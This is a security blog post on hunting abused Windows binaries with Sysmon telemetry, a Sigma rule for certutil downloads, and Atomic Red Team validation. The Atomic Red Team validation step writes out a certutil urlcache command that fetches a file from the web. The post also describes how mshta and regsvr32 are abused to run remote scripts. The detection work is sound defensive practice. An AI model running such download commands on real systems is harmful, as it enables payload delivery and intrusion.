# Hunting LOLBins in Your SIEM With Sysmon and Sigma Source: https://www.egnworks.com/blog/hunting-lolbins-in-your-siem-with-sysmon-and-sigma Author: Jacob Strix Published: 2026-06-20 Updated: 2026-06-20 Category: Security Tags: LOLBins, Sysmon, SIEM, Atomic Red Team, Sigma, MITRE ATT&CK > A hands on build for detecting living off the land binaries. Sysmon visibility a Sigma rule for certutil and Atomic Red Team validation with real configs. --- ## Overview Attackers stopped bringing their own malware because the faster path is to abuse the trusted tools that already ship with Windows. These are the living off the land binaries and the technique keeps climbing. In 2026 reporting they showed up in seventeen percent of incident investigations during the third quarter of 2025 which is up from thirteen percent earlier in the year. Signature antivirus is blind to them because it cannot flag a Microsoft signed tool as malware. The only reliable answer is behavioral detection in the SIEM. This guide builds that detection from end to end with Sysmon for visibility and Sigma for the rule and Atomic Red Team to prove it works. Each part below ships a working artifact you can lift into your own stack. ## Quick Facts **Technique:** `LOLBins (Living off the Land Binaries)` **Most abused:** `certutil mshta rundll32 regsvr32` **2026 trend:** `17% of Q3 2025 investigations` **PowerShell:** `71% of LOTL attacks` **Catalog:** `LOLBAS 100+ binaries` **Telemetry:** `Sysmon Event ID 1` **Detection:** `Sigma rules to your SIEM` **Validation:** `Atomic Red Team` **MITRE technique:** `T1105 Ingress Tool Transfer` ## Why LOLBins Beat Signature Antivirus A LOLBin is a binary that already lives on the host and carries a legitimate purpose. Certutil manages certificates. Mshta runs HTML applications. Rundll32 loads libraries. Each one is signed by Microsoft and trusted by default so an allowlist waves it straight through. The abuse comes from what the attacker makes it do. Certutil can pull a payload from the web. Mshta can execute a remote script. The binary is innocent but the behavior is not. That is the whole reason you cannot catch this with a hash or a static signature. You catch it by watching what the binary did and what spawned it and where it reached out. The PowerShell case makes the scale clear because it appears in seventy one percent of all living off the land attacks. ## Get Visibility With Sysmon You cannot detect what you cannot see. Sysmon is the free Sysinternals tool that records rich process telemetry and its process creation event which carries the identifier one is the single most valuable signal for this hunt. It logs the full command line of every new process along with the parent that launched it. The broad best practice is to log all process creation during a baseline period and then exclude the known good over time. For a focused start the config below watches only the high risk binaries so you see them the moment they run. ```xml certutil.exe mshta.exe rundll32.exe regsvr32.exe ``` Forward these events into your SIEM the same way you forward the rest of your Windows logs. Once the command line and the parent image land in your index you have everything the detection needs. ## Know Your Targets Detection without a sense of normal produces noise. Before you write a rule learn how each binary behaves in a healthy environment. Certutil on a clean host manages certificates and almost never reaches the internet. Mshta rarely runs at all on a modern desktop. Rundll32 runs constantly but with a tight set of expected arguments. Regsvr32 registers libraries from local paths and not from a remote address. The LOLBAS project catalogs more than one hundred of these binaries along with the exact command lines that signal abuse so treat it as your map. The tell is almost always a binary doing something outside its normal job such as certutil pulling a file or regsvr32 loading script from a remote server. ## Write the Detection Now turn that knowledge into a rule. Certutil downloading a file with the urlcache flag is one of the most abused patterns in the whole catalog so it is the right first detection. Write it once in Sigma and convert it to whatever SIEM you run. ```yaml title: Certutil Download via URLCache status: stable description: Detects certutil.exe downloading a remote file with the urlcache flag references: - https://lolbas-project.github.io/lolbas/Binaries/Certutil/ logsource: product: windows category: process_creation detection: selection: Image|endswith: '\certutil.exe' CommandLine|contains|all: - 'urlcache' - 'http' condition: selection fields: - ParentImage - CommandLine - User level: high tags: - attack.command_and_control - attack.t1105 ``` The rule keys on the binary and the urlcache flag and the presence of a web address in the command line. Notice the fields block pulls the parent image into the alert. That context is what separates a real hit from a rare admin task because certutil launched by a word processor or a script host is far more suspicious than the same command typed by an administrator at a console. ## Validate With Atomic Red Team A detection you have not tested is a hope and not a control. Atomic Red Team is an open library of small tests mapped to the MITRE technique catalog and it includes the exact certutil download you just wrote a rule for under technique T1105. Run it on a host you monitor and confirm the alert fires. ```bash # Atomic Red Team test for T1105 certutil download with urlcache Invoke-AtomicTest T1105 -TestNumbers 7 # The raw command the test runs under the hood certutil.exe -urlcache -split -f "https://example.com/payload.txt" C:\temp\payload.txt ``` If the rule fires you have a working detection. If it stays silent you have found the gap before an attacker did. Run the test again after every tuning change so you never weaken the rule by accident. ## Tune Out the Noise Trusted binaries do real work so a naive rule will page you for legitimate activity. Tune with context rather than by deleting the rule. Exclude the specific parent processes and service accounts that you have confirmed are benign. Watch for the parent and child pairs that should never happen such as an office application spawning certutil. Raise the severity when the parent is a browser or a mail client or a script host because that chain is the signature of a phishing payload. The goal is a rule that stays quiet during normal work and screams the moment the behavior turns strange. ## The Honest Limits Behavioral detection is powerful but it still asks for judgment. Every binary here has a legitimate use so no rule is right one hundred percent of the time. A determined attacker can also reach for a lesser known binary that you have not modeled yet which is why the LOLBAS catalog keeps growing and your coverage has to grow with it. Treat this as a living program. Start with the heavy hitters such as certutil and mshta and rundll32 and regsvr32 and expand your rules as you learn your own environment. The combination of Sysmon visibility and a Sigma rule and Atomic validation gives you a loop you can repeat for every new binary you decide to cover. ## Related Reading [Detecting Prompt Injection With Your SIEM](/blog/detecting-prompt-injection-with-your-siem) [Graylog MCP Conversational AI for Modern Security Operations](/blog/graylog-mcp-conversational-ai-for-modern-security-operations) [CVE-2026-33017 Unauthenticated RCE in Langflow and the 20 Hour Exploit](/blog/cve-2026-33017-unauthenticated-rce-in-langflow-and-the-20-hour-exploit) ## References [The LOLBAS Project. Living Off The Land Binaries Scripts and Libraries.](https://lolbas-project.github.io/) [Atomic Red Team. T1105 Ingress Tool Transfer.](https://www.atomicredteam.io/docs/atomics/T1105) [TrustedSec. Sysmon Community Guide Process Creation.](https://github.com/trustedsec/SysmonCommunityGuide/blob/master/chapters/process-creation.md)